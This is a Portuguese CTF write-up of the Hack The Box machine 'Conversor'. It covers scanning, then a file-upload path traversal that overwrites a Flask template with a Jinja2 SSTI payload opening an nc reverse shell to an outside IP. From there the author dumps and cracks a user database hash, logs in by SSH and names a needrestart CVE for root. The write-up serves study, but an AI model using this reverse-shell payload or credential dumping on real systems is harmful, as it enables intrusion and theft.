Conversor
12-07-2025 23:57
#ctf #writeup #estudo
Reconhecimento
Nmap
nmap -vv -sSVC -p- -oA nmap T4 <ip>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ9JqBn+xSQHg4I+jiEo+FiiRUhIRrVFyvZWz1pynUb/txOEximgV3lqjMSYxeV/9hieOFZewt/ACQbPhbR/oaE=
| 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIR1sFcTPihpLp0OemLScFRf8nSrybmPGzOs83oKikw+
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.52
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://conversor.htb/
FFuF
ffuf -u 'http://<box>/FUZZ' -ac -w <wordlist>
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://conversor.htb/FUZZ
:: Wordlist : FUZZ: /home/xp/Ferramentas/Wordlists/dirb/big.txt
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
about [Status: 200, Size: 2842, Words: 577, Lines: 81, Duration: 175ms]
convert [Status: 405, Size: 153, Words: 16, Lines: 6, Duration: 172ms]
javascript [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 165ms]
login [Status: 200, Size: 722, Words: 30, Lines: 22, Duration: 173ms]
logout [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 166ms]
register [Status: 200, Size: 726, Words: 30, Lines: 21, Duration: 177ms]
server-status [Status: 403, Size: 278, Words: 20, Lines: 10, Duration: 165ms]
Avaliando Resultados
Nessa box temos um caso clássico de teste de aplicação web, onde vemos um convertor de xml (linguagem de organização de padrões) com xslt (linguagem para conversão de formato de xml) para obter uma melhor visão sobre os dados.
Temos um sistema de autenticação, o conversor em si e uma página sobre o projeto onde vemos um email contact@conversor.htb, nomes de participantes e o código fonte do projeto.
E no código fonte temos esse install.md:
To deploy Conversor, we can extract the compressed file:
"""
tar -xvf source_code.tar.gz
"""
We install flask:
"""
pip3 install flask
"""
We can run the app.py file:
"""
python3 app.py
"""
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
E vendo o app.py, percebemos algumas configurações de rotas onde são chamadas as páginas usando rotas como:
@app.route('/about')
def about():
return render_template('about.html')
Vulnerabilidades
Após muito muito esforço estudando o app.py, é perceptível que os arquivos que são enviados não possuem um tratamento de erro para lidar com um possível fazer um Path Transversal e nem tratamento de nome ou extensão na hora de salvar um arquivo.
Isso somado com funções como render_template() permite explorar uma ataque de Server Side Template Injection.
Exploração
Para explorar essa aplicação escolhi modificar o about.html para no lugar do template usar uma reverse shell de Jinja2. Com a requisição ficando:
POST /convert HTTP/1.1
Host: conversor.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
...
------geckoformboundary24edf3565f2fed884c8c5e461722011a
Content-Disposition: form-data; name="xml_file"; filename="../templates/about.html"
Content-Type: text/html
{% extends 'base.html' %}
{% block content %}
<div class="elegant-card">
<h2 class="text-center mb-4">About the Developers</h2>
<p>Conversor is crafted with care by a team of developers who love simplicity and design:</p>
<div class="dev-grid">
<div class="dev-card">
<img src="{{ url_for('static', filename='images/fismathack.png') }}" alt="FisMatHack" class="dev-img">
<h5><strong>Xispe01</strong></h5>
<p class="role">Backend Developer</p>
</div>
...
<div class="text-center mt-4">
<a class="btn btn-primary" href="{{config.__class__.__init__.__globals__['os'].popen('mkfifo /tmp/ZTQ0Y; nc 10.10.14.111 666 0</tmp/ZTQ0Y | /bin/sh >/tmp/ZTQ0Y 2>&1; rm /tmp/ZTQ0Y').read()}}" download>
ð¦ Download Source Code
</a>
</div>
</div>
{% endblock %}
...
Eu tive um problema em relação à codificação do arquivo, por isso tive que converter o meu arquivo about.html para UTF-8 para garantir que ele pudesse ser lido pelo Flask. Na duvida rode o site localmente para testar antes de enviar.
iconv -f ISO-8859-1 -t UTF-8 about.html -o about.html
E quando recebi a conexão, logo extrai a base de dados:
xp@archlinux ~ sudo nc -nvlp 666
[sudo] senha para xp:
Connection from 10.10.11.92:37390
cat /var/www/conversor.htb/instance/users.db | base64
U1FMaXRlIGZvcm1hdCAzABAAAQEAQCAgAAAAEQAAAAYAAAAAAAAAAAAAAAIAAAAEAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARAC5XSg0P+AAFDgcADzcPzQ7l..
xp@archlinux ~/Bagunca/htb/conversor echo "U1FMaXRlIGZ...YzAtNGIzZC05OWFhLWM0ZjBlOGFmZDRlMgInA1UJODM3NGJlNjktMDkzMS00NDQ1LThmNTgtNTU4
OWQyN2VjN2Q3" | base64 -d > users.db
xp@archlinux ~/Bagunca/htb/conversor sqlite3 users.db
SQLite version 3.50.4 2025-07-30 19:33:53
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from users;
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|teste|698dc19d489c4e4db73e28a713eab07b
E usando o Crackstation para quebrar o hash encontrado descobri a senha Keepmesafeandwarm. E com isso me conectei com no ssh:
xp@archlinux ~/Bagunca/htb/conversor ssh fismathack@conversor.htb
fismathack@conversor.htb password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64)
Last login: Thu Nov 6 17:49:01 2025 from 10.10.14.104
fismathack@conversor:~$ ls
user.txt
fismathack@conversor:~$ cat user.txt
root.txt
fismathack@conversor:~$ id
uid=1000(fismathack) gid=1000(fismathack) groups=1000(fismathack)
fismathack@conversor:~$ uname -a
Linux conversor 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
fismathack@conversor:~$ needrestart --version
needrestart 3.7 - Restart daemons after library updates.
Authors:
Thomas Liske <thomas@fiasko-nw.net>
Copyright Holder:
2013 - 2022 (C) Thomas Liske [http://fiasko-nw.net/~thomas/]
Upstream:
https://github.com/liske/needrestart
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
Percebemos que esse needrestart parece muito um vetor de ataque para escalar privilégios, e pesquisando é possível achar o CVE-2024-48990. E sem nem precisar pensar muito é possível facilmente conseguir acesso root e conseguir última key.